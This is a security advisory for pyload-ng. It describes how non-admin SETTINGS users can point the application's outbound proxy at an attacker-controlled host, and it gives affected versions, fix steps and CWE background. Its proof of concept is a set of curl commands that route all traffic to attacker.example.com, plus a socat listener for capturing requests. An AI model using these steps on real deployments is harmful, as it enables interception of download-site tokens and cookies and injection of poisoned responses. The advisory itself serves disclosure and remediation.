GHSA-pg67-9wjv-mr85 CVE-2026-42313 PYSEC-2026-127
pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)
- Severity
- 8.3 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 33.78% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')
- CWE-863 Incorrect Authorization
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
0.5.0b3.dev100- Upgrade pyload-ng to this version or later
Description
Summary
The set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.
Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.
This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy.* fields are jointly required to weaponize the miss and are patched together.
Details
Writer — src/pyload/core/api/__init__.py, set_config_value() (around lines 215–290). The allowlist:
ADMIN_ONLY_CORE_OPTIONS = {
("general", "storage_folder"),
("log", "syslog_host"), ("log", "syslog_port"),
("proxy", "password"), ("proxy", "username"), # <-- credentials gated
("reconnect", "script"),
("webui", "host"),
("webui", "ssl_certfile"), ("webui", "ssl_keyfile"), ("webui", "ssl_certchain"),
("webui", "use_ssl"),
}
("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.
Reader — src/pyload/core/network/request_factory.py:82-100:
def get_proxies(self):
if not self.pyload.config.get("proxy", "enabled"):
return {}
proxy_type = self.pyload.config.get("proxy", "type")
proxy_host = self.pyload.config.get("proxy", "host")
proxy_port = self.pyload.config.get("proxy", "port")
proxy_username = self.pyload.config.get("proxy", "username") or None
proxy_password = self.pyload.config.get("proxy", "password") or None
return {"type": proxy_type, ..., "host": proxy_host, "port": proxy_port, ...}
Sink — src/pyload/core/network/http/http_request.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. get_proxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.
PoC
Authenticated as any user with Perms.SETTINGS (non-admin role):
# 1) Log in as the SETTINGS (non-admin) user.
curl -c cookies.txt -X POST http://pyload.example:8000/api/login \
-d 'username=settings_user&password=<password>'
# 2) Redirect all outbound traffic through attacker.example.com:8080.
for kv in \
'category=proxy&option=enabled&value=True' \
'category=proxy&option=host&value=attacker.example.com' \
'category=proxy&option=port&value=8080' \
'category=proxy&option=type&value=http' ; do
curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \
-d "$kv§ion=core"
done
# 3) Enqueue any download (or wait for any periodic update / captcha
# fetch). The attacker's server receives the full request — URL,
# query string (often carrying auth tokens on download sites),
# headers, cookies — and can inject an arbitrary response body.
Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. socat -v TCP-LISTEN:8080,fork,reuseaddr -), trigger any pyload download, and observe the full request on the listener.
Impact
- Who: any authenticated user whose role was granted
Perms.SETTINGS. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius. - What:
- Full interception of all outbound HTTP traffic: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.
- Credential theft from any download-site auth cookies or bearer tokens that affected plugins send.
- Arbitrary response injection — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.
- Chains with the sibling
ssl_verifyadvisory: if the attacker additionally setsgeneral.ssl_verify=off(same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize whatset_config_valuealready permits to a SETTINGS user.
- Why gating the credentials alone is insufficient: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| pyload-ng | < 0.5.0b3.dev100 |
0.5.0b3.dev100 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pyload-ng PyPI → 0.5.0b3.dev100
- pip
pip install --upgrade "pyload-ng>=0.5.0b3.dev100"- poetry
poetry add "pyload-ng>=0.5.0b3.dev100"- uv
uv add "pyload-ng>=0.5.0b3.dev100"
Severity breakdown
CVSS 3.1 8.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Weakness
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
How to prevent it
- Architecture and Design: Enforce the use of strong mutual authentication mechanism between the two parties.
- Architecture and Design: Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-68w4-83fh-f2w8 pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password | High | Also affects pyload-ng |
| GHSA-9q47-3cm2-2rp8 pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header | Medium | Also affects pyload-ng |
| GHSA-jq7h-wrvp-3rgx pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session | High | Also affects pyload-ng |
| GHSA-889w-m37p-88m5 pyLoad: Api.set_user_permission never invalidates the target's session | High | Also affects pyload-ng |
| GHSA-p3pr-8f3m-4qp8 pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host | Medium | Also affects pyload-ng |
| GHSA-fr26-jjhm-638c pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=) | High | Also affects pyload-ng |
| GHSA-r44w-v6gf-x3p6 pyLoad has an authentication bypass in API key validation (check_apikey cache) | High | Also affects pyload-ng |
| GHSA-j92p-c242-7hfx pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo | Medium | Also affects pyload-ng |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor